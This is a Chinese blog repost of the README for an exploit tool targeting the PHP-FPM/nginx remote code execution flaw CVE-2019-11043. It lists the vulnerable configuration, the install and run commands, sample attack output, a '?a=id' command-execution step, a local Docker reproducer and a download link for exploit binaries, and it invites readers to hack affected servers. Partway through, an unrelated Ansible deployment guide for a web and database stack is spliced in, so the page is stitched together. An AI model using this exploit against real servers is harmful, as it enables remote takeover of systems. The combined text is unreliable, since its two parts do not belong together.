nginx远程php,PHP-FPM Nginx - 远程命令执行

介是php-fpm (CVE-2019-11043)的一个漏洞利用,在某种配置下,nginx+php-fpm的框架里,这个漏洞可以由外界触发。这就意味着,一个网页用户可能对这种配置的服务器实施远程命令执行攻击。(有前提条件,看下文)

174657289_1_20191102102714314

###这是啥漏洞

如果一个网站服务器运行着nginx+php-fpm,然后还有类似下面的配置:location ~ [^/]\.php(/|$) {...fastcgi_split_path_info ^(.+?\.php)(/.*)$;fastcgi_param PATH_INFO $fastcgi_path_info;fastcgi_pass php:9000;...}

而且,也没有任何脚本是否存在的检测(例如 `try_files`),那么,用这个工具你可能能黑掉有问题的机器。

###完整的前提条件列表1. Nginx + php-fpm, `location ~ [^/]\.php(/|$)`必须导向到php-fpm(可能正则表达式会 更严格)

2.`fastcgi_split_path_info`指令必须存在并且包含一个以 `^` 开头且以 `$`结尾的正则表达式,这我们就可以用一个新行的字符来突破它。

3.必须通过`fastcgi_param PATH_INFO $fastcgi_path_info;`语句指定一个`PATH_INFO`变量。刚开始我们以为这一直都存在于`fastcgi_params`文件里,但这是错误的。

4.不能有任何文件存在性检测,例如`try_files $uri =404` 或者 `if (-f $uri)`。如果Nginx在FastCGI转发前把请求丢给了不存在的脚本,我们的请求就永远到不了php-fpm,加上这个也是修补这个漏洞的最简单方案。

5.这个利用只对PHP 7+有效,但是这个漏洞也存在于更早的版本。(看下面的关于php5)

###这难道不是几年前就已知的漏洞了吗?

很久之前,php-fpm是不约束脚本的扩展名的,就是说形如`/avatar.png/some-fake-shit.php`的文件,php-fpm会把`avatar.png`当做php文件来执行,这个问题在2010年左右就被修复了。

现在这个漏洞不依赖文件上传,在当前的大多数版本都能利用(直到补丁被打上)。更重要的是,这个利用更酷剌。

###咋运行

安装go get github.com/neex/phuip-fpizdam

如果出现一些奇奇怪怪的编译错误,先确保你的go版本要大于等于1.13。以下面的命令执行:phuip-fpizdam [url]

(假设你已经把 `$GOPATH/bin`变量丢到`$PATH`里去了,否则,要把路径打全),类似下面的输出就是正常了:```2019/10/01 02:46:15 Base status code is 2002019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect2019/10/01 02:46:16 Trying to set 'session.auto_start=0'...2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect

这之后呢,你就可以在任意的php url后面,添加`?a=`来执行远程代码了。(你可能需要多试几次才行)

###游乐场环境

如果你想重现这个问题或者想在本地玩玩这个漏洞利用,介样来:1.克隆这个项目然后到reproducer目录

2.创建docker镜像:`docker build -t reproduce-cve-2019-11043 .`,这需要等比较长的时间,因为它默默地把php的项目克隆回来并且还要编译。然鹅,如果你想debug这个利用代码,上述步骤会让你更省力。这个被修订过的编译是刚好没被修补的版本。

3.启动一个docker 实例`docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043`.

4.现在你可以访问http://127.0.0.1:8080/script.php了,这目前是一个空文件。

5.运行利用程序:

`phuip-fpizdam http://127.0.0.1:8080/script.php`

6.如果一切顺利,你就可以这样构造url来执行远程命令了。

http://127.0.0.1:8080/script.php?a=id

多试几次,因为只有部分php-fpm的worker进程受影响而已。

###关于PHP5

这个缓冲区下溢出漏洞也同样存在于PHP5,。然而呢,我们这个漏洞利用需要用到一个保存FastCGI变量的优化, [_fcgi_data_seg]。这个优化只存在于php7,所以这次特别的漏洞利用只能在php7上运行。但可能有别的利用技术可以在php5上运行呢。。。

###申明

最开始的异常现象是由[d90pwn]在“真实世界CTF”大赛中发现的。根本问题是(Emil Lerner)发现的,还有设置php.ini参数的方式。最终的php.ini参数集是由[beched]发现的。

最后,下载:

https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47553.zip

参考:github.com/neex/phuip-fpizdam

0f4a11f8cdba4daaba4aa67f1428d818.png

HackerHub发布 | 转载请注明出处

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
非常感谢您的提问,我将为您详细描述 ansible-varnish-nginx-php-fpm-ftp-mysql 的部署流程。 前置条件: - 安装 Ansible 工具 - 所有主机都配置好 SSH 免密登录 - 所有主机都已安装 Python 2.x 或 Python 3.x 步骤: 1. 编写 Ansible 配置文件 创建一个名为 inventory 的文件,并在其中定义要部署的主机列表和相关变量: ``` [web] webserver ansible_host=192.168.1.10 ansible_user=<your_user> ansible_ssh_private_key_file=<your_ssh_key> dbserver ansible_host=192.168.1.11 ansible_user=<your_user> ansible_ssh_private_key_file=<your_ssh_key> [web:vars] nginx_version=1.14.1 php_version=7.2 mysql_version=5.7 ``` 2. 编写 Ansible Playbook 创建一个名为 playbook.yml 的文件,并编写 Ansible Playbook。以下是一个示例 Playbook,包含安装和配置 varnish、nginxPHP-FPM、FTP 和 MySQL。 ``` - hosts: web become: true vars_files: - vars.yml tasks: # 安装 Varnish - name: Install Varnish yum: name: varnish state: present # 安装 Nginx - name: Install Nginx yum: name: nginx state: present notify: - Restart Nginx # 配置 Nginx - name: Configure Nginx template: src: templates/nginx.conf.j2 dest: /etc/nginx/nginx.conf notify: - Restart Nginx # 安装 PHP-FPM - name: Install PHP-FPM yum: name: php-fpm state: present notify: - Restart PHP-FPM # 配置 PHP-FPM - name: Configure PHP-FPM template: src: templates/php-fpm.conf.j2 dest: /etc/php-fpm.conf notify: - Restart PHP-FPM # 安装 FTP - name: Install FTP yum: name: vsftpd state: present notify: - Restart FTP # 配置 FTP - name: Configure FTP template: src: templates/vsftpd.conf.j2 dest: /etc/vsftpd/vsftpd.conf notify: - Restart FTP # 安装 MySQL - name: Install MySQL yum: name: mysql-community-server state: present notify: - Start MySQL # 配置 MySQL - name: Configure MySQL template: src: templates/my.cnf.j2 dest: /etc/my.cnf notify: - Start MySQL handlers: # 重启 Nginx - name: Restart Nginx systemd: name: nginx state: restarted # 重启 PHP-FPM - name: Restart PHP-FPM systemd: name: php-fpm state: restarted # 重启 FTP - name: Restart FTP systemd: name: vsftpd state: restarted # 启动 MySQL - name: Start MySQL systemd: name: mysqld state: started ``` 3. 准备模板文件 创建模板文件,用于生成配置文件。以下是模板文件示例代码: nginx.conf.j2 ``` user nginx; worker_processes auto; error_log /var/log/nginx/error.log; pid /run/nginx.pid; events { worker_connections 1024; use epoll; } http { include /etc/nginx/mime.types; default_type application/octet-stream; log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; access_log /var/log/nginx/access.log main; sendfile on; keepalive_timeout 65; #gzip on; server { listen 80; server_name localhost; #charset koi8-r; #access_log /var/log/nginx/host.access.log main; location / { root /usr/share/nginx/html; index index.php index.html index.htm; } error_page 500 502 503 504 /50x.html; location = /50x.html { root /usr/share/nginx/html; } location ~ \.php$ { fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } } include /etc/nginx/conf.d/*.conf; } ``` php-fpm.conf.j2 ``` [global] pid = /var/run/php-fpm/php-fpm.pid error_log = /var/log/php-fpm/error.log emergency_restart_threshold = 5 emergency_restart_interval = 1m process_control_timeout = 10 daemonize = no [www] user = nginx group = nginx listen = 127.0.0.1:9000 listen.owner = nginx listen.group = nginx listen.mode = 0660 pm = dynamic pm.max_children = 5 pm.start_servers = 2 pm.min_spare_servers = 1 pm.max_spare_servers = 3 pm.max_requests = 500 ``` vsftpd.conf.j2 ``` anonymous_enable=NO local_enable=YES write_enable=YES local_umask=022 dirmessage_enable=YES xferlog_enable=YES xferlog_file=/var/log/xferlog xferlog_std_format=YES chroot_local_user=YES allow_writeable_chroot=YES local_root=/var/www/html/ listen=YES listen_ipv6=NO pam_service_name=vsftpd userlist_enable=YES tcp_wrappers=YES ``` my.cnf.j2 ``` [mysqld] datadir=/var/lib/mysql socket=/var/lib/mysql/mysql.sock user=mysql symbolic-links=0 skip-external-locking key_buffer_size = 16M max_allowed_packet = 256M table_open_cache = 16384 sort_buffer_size = 512K net_buffer_length = 16K myisam_sort_buffer_size = 64M thread_cache_size = 8 query_cache_size = 16M query_cache_limit = 1M log-bin=mysql-bin binlog_format=ROW server-id=1 innodb_buffer_pool_size = 256M innodb_log_file_size = 64M default-storage-engine=innodb character-set-server=utf8mb4 collation-server=utf8mb4_unicode_ci [client] socket=/var/lib/mysql/mysql.sock [mysql] socket=/var/lib/mysql/mysql.sock ``` 4. 运行 Ansible Playbook 运行以下命令来运行 Ansible Playbook: ``` $ ansible-playbook -i inventory playbook.yml ``` 此命令将在指定主机上按顺序执行 Playbook 中的每个任务,安装和配置所有必需的软件包和服务,最终实现 ansible-varnish-nginx-php-fpm-ftp-mysql 的部署。 感谢您提供的问题,希望可以帮到您!

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值